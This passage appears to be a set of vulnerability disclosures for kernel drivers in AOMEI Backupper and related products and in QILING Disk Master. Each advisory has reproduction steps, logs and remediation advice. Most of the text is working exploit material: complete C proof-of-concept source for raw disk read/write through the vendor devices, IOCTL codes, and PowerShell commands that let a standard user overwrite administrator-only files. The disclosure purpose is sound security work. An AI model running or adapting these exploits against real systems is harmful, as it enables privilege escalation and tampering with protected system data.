Then run the proof program as the same standard user:
$device = "\\.\ddmwrt\Partition0\DISK1"
$offset = 4194304
.\aomei_raw_disk_forwarder_poc.exe --device $device --write --offset $offset --in .\payload.bin --dangerous-write
.\aomei_raw_disk_forwarder_poc.exe --device $device --read --offset $offset --length 512 --out .\low_user_readback.bin
Finally, as Administrator, read the same physical disk offset directly:
$fs = [System.IO.File]::Open("\\.\PhysicalDrive1", [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
$fs.Seek(4194304, [System.IO.SeekOrigin]::Begin)
Baseline Evidence
The test user is a standard user at Medium Integrity:
User Name SID
=================== ==============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Direct access to the VHD-backed physical disk failed:
EXPECTED_DENIED: System.Management.Automation.MethodInvocationException: Exception calling "Open" with "4" argument(s): "Access to the path '\\.\PhysicalDrive1' is denied."
Exploit Evidence
The same standard user wrote and read a unique marker through \\.\ddmwrt\Partition0\DISK1:
=== low ddmdrv final exploit ===
driver reported 262144 bytes for a 512-byte write; requested buffer length was used
write request completed; driver_reported=262144 requested=512
WRITE_EXIT=0
driver reported 262144 bytes for a 512-byte read; clamping saved output to requested length
read request completed; driver_reported=262144 saved=512 into C:\ProgramData\VendorRepro\aomei_pa_work\low_ddmdrv_final_readback.bin
READ_EXIT=0
READBACK_ASCII=AOMEI-DDM-RAW-SECTOR-6f4dc744-b0b2-40fb-9ed8-c37597bea3e0
Administrator direct readback from the same physical disk offset confirmed the marker was actually written to the temporary disk:
=== admin physical readback after ddmdrv final ===
target=\\.\PhysicalDrive1
offset=4194304
bytes_read=512
readback_ascii=AOMEI-DDM-RAW-SECTOR-6f4dc744-b0b2-40fb-9ed8-c37597bea3e0
Why This Proves the Vulnerability
Windows denied the standard user direct read/write access to \\.\PhysicalDrive1. The user did not have administrative privileges or storage-management privileges.
After ddmdrv.sys was loaded, the same user could open \\.\ddmwrt\Partition0\DISK1 and perform raw disk I/O through the vendor driver. The marker was read back through the driver and then independently confirmed by an Administrator reading the VHD-backed physical disk directly. Therefore, the driver exposes privileged raw disk functionality to a standard user without enforcing the expected Windows access checks.
Suggested Remediation
- Create the device with an explicit restrictive security descriptor, for example admin-only access via
IoCreateDeviceSecure. - Set
FILE_DEVICE_SECURE_OPENfor the exposed device. - Reject user-mode callers for raw disk forwarding paths unless the caller is explicitly authorized.
- Remove or strictly gate generic
IRP_MJ_READandIRP_MJ_WRITEforwarding to disk device objects. - Add per-request authorization checks for any operation that can read or write raw disk sectors.
- Correct the returned
IoStatus.Informationlength so callers cannot receive inflated byte counts.
POC
// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>
static void usage(void) {
fwprintf(stderr,
L"usage:\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
L"\nexamples:\n"
L" --device \\\\.\\wowrt\\Partition0\\DISK0\n"
L" --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
L" --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}
static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i + 1 < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return argv[i + 1];
}
return NULL;
}
static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return 1;
}
return 0;
}
static uint64_t parse_u64(const wchar_t *s) {
return s ? _wcstoui64(s, NULL, 0) : 0;
}
static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
LARGE_INTEGER sz;
DWORD got = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
CloseHandle(f);
return 0;
}
*buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
*len = (DWORD)sz.QuadPart;
if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
int wmain(int argc, wchar_t **argv) {
const wchar_t *device = arg_value(argc, argv, L"--device");
uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
int do_read = has_arg(argc, argv, L"--read");
int do_write = has_arg(argc, argv, L"--write");
if (!device || do_read == do_write) {
usage();
return 2;
}
HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) {
wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
return 1;
}
LARGE_INTEGER li;
li.QuadPart = (LONGLONG)offset;
if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (do_read) {
const wchar_t *out = arg_value(argc, argv, L"--out");
DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
if (!out || len == 0 || len > 0x1000000) {
usage();
CloseHandle(h);
return 2;
}
BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
DWORD got = 0;
if (!buf) return 1;
if (!ReadFile(h, buf, len, &got, NULL)) {
wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
DWORD out_len = got;
if (out_len > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n", got, len);
out_len = len;
}
if (!write_file_all(out, buf, out_len)) {
wprintf(L"writing output file failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
HeapFree(GetProcessHeap(), 0, buf);
} else {
const wchar_t *in = arg_value(argc, argv, L"--in");
if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
CloseHandle(h);
return 2;
}
BYTE *buf = NULL;
DWORD len = 0, wrote = 0;
if (!read_file_all(in, &buf, &len)) {
wprintf(L"reading payload failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (!WriteFile(h, buf, len, &wrote, NULL)) {
wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
if (wrote > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote, len);
}
wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
HeapFree(GetProcessHeap(), 0, buf);
}
CloseHandle(h);
return 0;
}
AOMEI Backupper 8.3.0 Kernel Driver amwrtdrv.sys Local Privilege Escalation
CVE-2026-12780 Summary
AOMEI Backupper 8.3.0 installs and auto-loads the signed kernel driver amwrtdrv.sys. The driver exposes a user-reachable raw disk forwarding interface at \\.\amwrtdrv\Partition0\DISK<N>.
A standard, non-administrative user can use this interface to send read and write requests to a disk device even when Windows denies the same user direct access to \\.\PhysicalDrive<N> and to protected files stored on that disk. In the proof below, the standard user could not read or modify an administrator-only flag file on a temporary VHD, but could read and overwrite that file's NTFS data clusters through the AOMEI driver.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: AOMEI Backupper
- Tested version: 8.3.0
- Installed product path:
C:\Program Files (x86)\AOMEI\AOMEI Backupper\8.3.0\Backupper.exe - Driver service:
amwrtdrv - Loaded driver path:
C:\Windows\System32\amwrtdrv.sys - Loaded driver SHA-256:
2790E94E4E875AE66F7FBFA46B1083782BDC6C3EFBEE6E14190D93DFF367BFF9
Download URL and SHA-256
- Download URL:
https://www2.aomeisoftware.com/download/adb/full/AOMEIBackupperSetup.exe - File name:
AOMEIBackupperSetup.exe - Installer SHA-256:
8B85FC372145B37B35E45FEBD4E96E3BD46D611188126DA94059AC3397C9849E - Installer version:
8.3.0.0 - Installer signature: Valid, AOMEI International Network Limited
- Driver signature: Valid, AOMEI International Network Limited
Vulnerability Type
Local privilege escalation / access-control bypass through an unprivileged raw disk read/write primitive exposed by a kernel driver.
Impact
A low-privileged local user can read or modify sectors on disks through amwrtdrv.sys. This bypasses Windows access checks that normally prevent standard users from opening raw physical disks or tampering with administrator-only files.
Practical impact includes protected-file disclosure, protected-file tampering, and potential privilege escalation when an attacker modifies security-sensitive files or boot/system data on a writable disk. The validation used a temporary VHD and a controlled administrator-only flag file, not the host system disk.
Test Environment
- OS: Windows, x64 test VM
- Administrator account used only for installation and test-object setup
- Test user: standard user
EXPDEV\low - Test user integrity: Medium Integrity
- Test user groups:
BUILTIN\Users, notBUILTIN\Administrators - Test disk: temporary 64 MB VHD, attached as
\\.\PhysicalDrive1, drive letterR:
Driver Load / Setup Steps
- Downloaded the official AOMEI Backupper installer.
- Installed it silently with:
AOMEIBackupperSetup.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
- Confirmed
amwrtdrvwas running:
SERVICE_NAME: amwrtdrv
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \??\C:\WINDOWS\system32\amwrtdrv.sys
- Created a temporary VHD, formatted it as NTFS, and assigned drive letter
R:. - Created a protected flag file:
$flag = 'R:\protected\admin_only_flag.bin'
Set-Content -Path $flag -Value $marker -Encoding ascii
icacls $flag /inheritance:r /grant:r Administrators:F SYSTEM:F
- Queried the file's NTFS extents and computed the raw disk offset for its data clusters:
Bytes Per Cluster: 4096
Partition offset: 65536
LCN: 0x589
Clusters: 0x5
Raw disk offset: 5869568
Read/write length: 20480
Reproduction Steps
1. Install Product
$installer = 'AOMEIBackupperSetup.exe'
& $installer /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
sc.exe query amwrtdrv
sc.exe qc amwrtdrv
2. Create Controlled Test Disk
$work = 'C:\ProgramData\VendorRepro\aomei_rawdisk'
New-Item -ItemType Directory -Force $work | Out-Null
@"
create vdisk file="$work\controlled_disk.vhd" maximum=64 type=expandable
select vdisk file="$work\controlled_disk.vhd"
attach vdisk
create partition primary
format fs=ntfs quick label=VendorRepro
assign letter=R
exit
"@ | Set-Content -Encoding ascii "$work\create_vhd.diskpart"
diskpart /s "$work\create_vhd.diskpart"
Get-Disk
Get-Partition -DiskNumber 1
3. Create Protected Flag File
$marker = 'AOMEI-RAWDISK-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$flag = 'R:\protected\admin_only_flag.bin'
New-Item -ItemType Directory -Force (Split-Path $flag) | Out-Null
(($marker + "`r`n") * 256) | Set-Content -Path $flag -Encoding ascii
icacls $flag /inheritance:r /grant:r Administrators:F SYSTEM:F
Query the file's disk location:
fsutil fsinfo ntfsinfo R:
fsutil file queryextents R:\protected\admin_only_flag.bin
In the validated run:
Partition offset: 65536
Bytes per cluster: 4096
LCN: 0x589
Clusters: 0x5
Raw disk offset: 5869568
Length: 20480
4. Baseline as Standard User
Run as a standard user:
Get-Content -Raw R:\protected\admin_only_flag.bin -ErrorAction Stop
Set-Content -Path R:\protected\admin_only_flag.bin -Value SHOULD-NOT-WRITE -ErrorAction Stop
[System.IO.File]::Open('\\.\PhysicalDrive1', [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite)
Expected results:
Access to the path 'R:\protected\admin_only_flag.bin' is denied.
Access to the path '\\.\PhysicalDrive1' is denied.
5. Read Protected Data Through Driver
Run as the same standard user:
aomei_raw_disk_forwarder_poc.exe --device \\.\amwrtdrv\Partition0\DISK1 --read --offset 5869568 --length 20480 --out C:\ProgramData\VendorRepro\aomei_rawdisk\driver_raw_read.bin
Expected result:
read 20480 bytes from raw disk path into C:\ProgramData\VendorRepro\aomei_rawdisk\driver_raw_read.bin
The output should contain the AOMEI-RAWDISK-PROTECTED-FLAG-... marker.
6. Write Protected Data Through Driver
Create a payload exactly as large as the allocated extent range:
$writeMarker = 'AOMEI-RAWDISK-WRITE-FLAG-' + [guid]::NewGuid().ToString()
$payload = (($writeMarker + "`r`n") * 512)
$bytes = [Text.Encoding]::ASCII.GetBytes($payload)
$full = New-Object byte[] 20480
[Array]::Copy($bytes, $full, [Math]::Min($bytes.Length, $full.Length))
[IO.File]::WriteAllBytes('C:\ProgramData\VendorRepro\aomei_rawdisk\raw_write_payload.bin', $full)
Flush and dismount the VHD volume before raw writing:
fsutil volume dismount R:
Run as the standard user:
aomei_raw_disk_forwarder_poc.exe --device \\.\amwrtdrv\Partition0\DISK1 --write --offset 5869568 --in C:\ProgramData\VendorRepro\aomei_rawdisk\raw_write_payload.bin --dangerous-write
Expected result:
wrote 20480 bytes to raw disk path
After remounting the VHD, an administrator read of the flag file should contain the AOMEI-RAWDISK-WRITE-FLAG-... marker.
7. Cleanup
fsutil volume dismount R:
@"
select vdisk file="C:\ProgramData\VendorRepro\aomei_rawdisk\controlled_disk.vhd"
detach vdisk
exit
"@ | Set-Content -Encoding ascii C:\ProgramData\VendorRepro\aomei_rawdisk\detach_vhd.diskpart
diskpart /s C:\ProgramData\VendorRepro\aomei_rawdisk\detach_vhd.diskpart
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force
Uninstall AOMEI Backupper after testing:
& 'C:\Program Files (x86)\AOMEI\AOMEI Backupper\8.3.0\unins000.exe' /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denies that user direct access to the protected flag file and to the raw physical disk. The same user can nevertheless read and write the protected file's backing disk clusters by opening \\.\amwrtdrv\Partition0\DISK1.
This proves that amwrtdrv.sys exposes privileged raw disk functionality to low-privileged callers without enforcing the expected Windows access checks.
Suggested Remediation
- Restrict the driver device object ACL so standard users cannot open the raw disk forwarding interface.
- Set
FILE_DEVICE_SECURE_OPENon the device object. - Require an administrative privilege check before attaching to disk devices or forwarding read/write/IOCTL requests.
- Avoid forwarding user-controlled read/write requests to disk device objects from kernel mode. If this functionality must exist, broker it through a privileged service that validates caller authorization and target disk policy.
- Add regression tests that verify standard users cannot open
\\.\amwrtdrv\Partition0\DISK<N>or forward raw disk I/O.
POC
// AOMEI raw-disk forwarder proof-of-impact.
// Supported device families include \\.\wowrt, \\.\ddmwrt, and \\.\amwrtdrv.
// This program is intentionally inert unless --read or --write is selected.
// Destructive writes require --dangerous-write.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <wchar.h>
static void usage(void) {
fwprintf(stderr,
L"usage:\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --read --offset <n> --length <n> --out <file>\n"
L" aomei_raw_disk_forwarder_poc.exe --device <path> --write --offset <n> --in <file> --dangerous-write\n"
L"\nexamples:\n"
L" --device \\\\.\\wowrt\\Partition0\\DISK0\n"
L" --device \\\\.\\ddmwrt\\Partition0\\DISK0\n"
L" --device \\\\.\\amwrtdrv\\Partition0\\DISK0\n");
}
static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i + 1 < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return argv[i + 1];
}
return NULL;
}
static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return 1;
}
return 0;
}
static uint64_t parse_u64(const wchar_t *s) {
return s ? _wcstoui64(s, NULL, 0) : 0;
}
static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
LARGE_INTEGER sz;
DWORD got = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
CloseHandle(f);
return 0;
}
*buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
*len = (DWORD)sz.QuadPart;
if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
int wmain(int argc, wchar_t **argv) {
const wchar_t *device = arg_value(argc, argv, L"--device");
uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
int do_read = has_arg(argc, argv, L"--read");
int do_write = has_arg(argc, argv, L"--write");
if (!device || do_read == do_write) {
usage();
return 2;
}
HANDLE h = CreateFileW(device, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) {
wprintf(L"CreateFileW(%ls) failed: %lu\n", device, GetLastError());
return 1;
}
LARGE_INTEGER li;
li.QuadPart = (LONGLONG)offset;
if (!SetFilePointerEx(h, li, NULL, FILE_BEGIN)) {
wprintf(L"SetFilePointerEx failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (do_read) {
const wchar_t *out = arg_value(argc, argv, L"--out");
DWORD len = (DWORD)parse_u64(arg_value(argc, argv, L"--length"));
if (!out || len == 0 || len > 0x1000000) {
usage();
CloseHandle(h);
return 2;
}
BYTE *buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, len);
DWORD got = 0;
if (!buf) return 1;
if (!ReadFile(h, buf, len, &got, NULL)) {
wprintf(L"ReadFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
DWORD out_len = got;
if (out_len > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte read; clamping saved output to requested length\n", got, len);
out_len = len;
}
if (!write_file_all(out, buf, out_len)) {
wprintf(L"writing output file failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
wprintf(L"read request completed; driver_reported=%lu saved=%lu into %ls\n", got, out_len, out);
HeapFree(GetProcessHeap(), 0, buf);
} else {
const wchar_t *in = arg_value(argc, argv, L"--in");
if (!has_arg(argc, argv, L"--dangerous-write") || !in) {
fwprintf(stderr, L"write mode requires --in <file> and --dangerous-write\n");
CloseHandle(h);
return 2;
}
BYTE *buf = NULL;
DWORD len = 0, wrote = 0;
if (!read_file_all(in, &buf, &len)) {
wprintf(L"reading payload failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (!WriteFile(h, buf, len, &wrote, NULL)) {
wprintf(L"WriteFile via vulnerable forwarder failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
if (wrote > len) {
wprintf(L"driver reported %lu bytes for a %lu-byte write; requested buffer length was used\n", wrote, len);
}
wprintf(L"write request completed; driver_reported=%lu requested=%lu\n", wrote, len);
HeapFree(GetProcessHeap(), 0, buf);
}
CloseHandle(h);
return 0;
}
QILING Disk Master Kernel Driver diskbckp.sys 6, 0, 0, 0 Local Privilege Escalation
Summary
QILING Disk Master Free ships a kernel driver, diskbckp.sys, that exposes the device \\.\diskbakdrv1 to a standard local user. A non-administrative user can open that device, attach a disk context, and issue an IOCTL that writes caller-controlled bytes to a selected raw disk offset.
The proof below uses only a temporary VHD and an administrator-only test file. The standard user cannot read or open the protected file for write through normal Windows file APIs, and cannot open the raw disk after the test volume is dismounted. The same user can still overwrite the file's raw NTFS clusters through the vendor driver.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: QILING Disk Master Free
- Installer product version:
8.7.6 - Installer file version:
8.7.0.6 - Driver:
diskbckp.sys - Driver file/product version:
6, 0, 0, 0 - Driver SHA-256:
B4FD432A4A948D21069774439926B325D6C7EF9A621014A58B4BA4FC279BC9F8 - Driver signature: Valid,
Microsoft Windows Hardware Compatibility Publisher
Download URL and SHA-256
- Download URL:
https://www.idiskhome.com/download/vdisk/multi_DiskMaster_Free.exe - File name:
multi_DiskMaster_Free.exe - Installer SHA-256:
B0703FE415A5F17C3C1E319598B49FDEBAF6992AB97B924642F6ECC2F6E1C466 - Installer signature: Valid,
Keroro Software Ltd
Vulnerability Type
Local privilege escalation / arbitrary raw disk write through an unprotected kernel driver device interface.
Impact
A standard local user can write raw sectors on a caller-selected disk through diskbckp.sys. On a real system disk, raw write access can be used to tamper with protected files, registry hives, service configuration, boot files, or other privileged filesystem metadata that normal discretionary access controls prevent the user from modifying.
This validation intentionally wrote only to a temporary VHD created for the test.
Test Environment
- OS: Windows Server 2025 Datacenter Evaluation, 64-bit
- HAL:
10.0.26100.1 - High-privilege setup user: local Administrator
- Attacker user: standard local user
WIN-R10EKFCBLSE\low - Attacker integrity level: Medium Mandatory Level
- Test object:
R:\protected\admin_only_flag.binon a temporary 96 MB VHD - Test file ACL:
SYSTEM:F,Administrators:F; inheritance removed
Driver Load / Setup Steps
The reproduction used a non-interactive setup path to avoid running the full GUI installer:
innoextract.exe --collisions rename -d C:\ProgramData\VendorRepro\qiling_diskbckp\extract multi_DiskMaster_Free.exe
copy <extracted>\diskbckp.sys$24bit C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe create diskbckp type= kernel start= demand binPath= \??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
sc.exe start diskbckp
Service configuration during the test:
SERVICE_NAME: diskbckp
TYPE : 1 KERNEL_DRIVER
START_TYPE : 3 DEMAND_START
BINARY_PATH_NAME : \??\C:\ProgramData\VendorRepro\qiling_diskbckp\diskbckp_test.sys
Reproduction Steps
- As Administrator, create and attach a temporary fixed-size VHD, format it as NTFS, and assign it drive letter
R:. - Create
R:\protected\admin_only_flag.bin, write a unique marker, then remove inherited ACLs and grant access only toSYSTEMandAdministrators. - Resolve the file's first NTFS data run to a raw disk offset:
VCN: 0x0 Clusters: 0x5 LCN: 0x589
partition_offset=65536
bytes_per_cluster=4096
disk_offset=5869568
run_length=20480
- Confirm as Administrator that the calculated raw disk offset contains the setup marker:
[ADMIN_RAW_READ] stage=before_exploit marker_found=True offset=5869568 bytes=20480 prefix=QILING-DISKBCKP-BEFORE-FLAG-4a4bc015-926e-422e-9c42-6fdb95945341RRRR...
- As the standard user, confirm direct access is denied.
- Dismount the volume with
mountvol.exe R: /p. - As the same standard user, run the exploit against
\\.\diskbakdrv1:
qiling_diskbckp_flag_rw_exploit.exe --mode write --write-ioctl read-primary --disk 1 --offset 5869568 --length 20480 --write-marker QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
The proof IOCTL is 0x810C2806. The exploit opens \\.\diskbakdrv1, sends attach IOCTL 0x810C2008 for disk 1, and then submits a direct-I/O request whose MDL contains a 20-byte sector request header followed by caller-controlled data.
Baseline Evidence
The attacker is a standard user at Medium integrity:
[IDENTITY] user=win-r10ekfcblse\low
Mandatory Label\Medium Mandatory Level
BUILTIN\Users Alias S-1-5-32-545
Direct read and write-open attempts against the protected file fail:
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write_open=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
After the volume is dismounted, the same standard user cannot open the raw disk directly:
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
Exploit Evidence
The standard user can open the vendor driver, attach the disk context, and issue the raw-sector write:
[DRIVER] open=SUCCESS path=\\.\diskbakdrv1
[DRIVER] attach=SUCCESS disk=1
[EXPLOIT_WRITE] success=True ioctl=read-primary code=0x810C2806 disk=1 offset=5869568 bytes=20480
[EXPLOIT_WRITE] marker=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67a
[RESULT] write_ioctl_succeeded=True
After remounting the VHD, Administrator reads the protected file and sees that the standard user's marker replaced the original file contents:
[FILE_READBACK] stage=after_low_write before_marker_found=False write_marker_found=True length=20480 prefix=QILING-DISKBCKP-WRITE-FLAG-af2e4f7f-ba88-456d-b0de-e0147091e67aBBBB...
Why This Proves the Vulnerability
The test user is a standard user at Medium integrity. Windows denies that user direct file read access, direct file write-open access, and direct raw disk access in the exploit state. Nevertheless, the user can open \\.\diskbakdrv1 and make diskbckp.sys write caller-controlled bytes to the raw disk offset that backs an administrator-only file.
Therefore, the driver exposes privileged raw disk write functionality without enforcing the expected Windows access checks. This bypasses the file's DACL and the raw disk device access check.
Suggested Remediation
- Create the control device with a restrictive security descriptor, for example with
IoCreateDeviceSecure, so standard users cannot open\\.\diskbakdrv1. - Require administrative privilege for any IOCTL that attaches disk contexts or forwards raw disk reads/writes.
- Validate all caller-controlled disk numbers, offsets, lengths, and MDL buffers.
- Avoid exposing raw disk forwarding IOCTLs to untrusted local users. If raw disk access is required, broker it through a privileged service that performs explicit authorization and limits writes to intended product-owned objects.
POC
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define IOCTL_DISKBAK_ATTACH 0x810C2008u
#define IOCTL_DISKBAK_RAW_READ 0x810C2806u
#define IOCTL_DISKBAK_RAW_WRITE 0x810C280Au
#pragma pack(push, 1)
typedef struct DISKBAK_ATTACH_REQ {
DWORD DiskNumber;
DWORD Reserved;
} DISKBAK_ATTACH_REQ;
typedef struct DISKBAK_SECTOR_REQ {
LONG DiskNumber;
LONG PartitionNumber;
ULONGLONG SectorIndex;
DWORD SectorCount;
BYTE Data[1];
} DISKBAK_SECTOR_REQ;
#pragma pack(pop)
static void usage(const wchar_t *prog)
{
fwprintf(stderr,
L"Usage:\n"
L" %ls --attach-only [--disk N]\n"
L" %ls --read OUT.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n"
L" %ls --dangerous-write IN.bin [--disk N] [--partition N] [--sector N] [--count N] [--sector-size N]\n\n"
L"Defaults: --disk 0 --partition 0 --sector 0 --count 1 --sector-size 512\n"
L"Do not use --dangerous-write outside a disposable VM.\n",
prog, prog, prog);
}
static int parse_u64(const wchar_t *s, ULONGLONG *out)
{
wchar_t *end = NULL;
unsigned long long v = wcstoull(s, &end, 0);
if (!s[0] || (end && *end)) {
return 0;
}
*out = (ULONGLONG)v;
return 1;
}
static int parse_u32(const wchar_t *s, DWORD *out)
{
ULONGLONG v = 0;
if (!parse_u64(s, &v) || v > 0xffffffffULL) {
return 0;
}
*out = (DWORD)v;
return 1;
}
static int read_file_exact(const wchar_t *path, BYTE *buf, DWORD len)
{
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD got = 0;
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
return 0;
}
if (!ReadFile(h, buf, len, &got, NULL) || got != len) {
fwprintf(stderr, L"[-] ReadFile expected %lu bytes, got %lu, err=%lu\n", len, got, GetLastError());
CloseHandle(h);
return 0;
}
CloseHandle(h);
return 1;
}
static int write_file_exact(const wchar_t *path, const BYTE *buf, DWORD len)
{
HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"[-] CreateFile(%ls) failed: %lu\n", path, GetLastError());
return 0;
}
if (!WriteFile(h, buf, len, &wrote, NULL) || wrote != len) {
fwprintf(stderr, L"[-] WriteFile expected %lu bytes, wrote %lu, err=%lu\n", len, wrote, GetLastError());
CloseHandle(h);
return 0;
}
CloseHandle(h);
return 1;
}
int wmain(int argc, wchar_t **argv)
{
DWORD disk = 0;
DWORD partition = 0;
DWORD count = 1;
DWORD sector_size = 512;
ULONGLONG sector = 0;
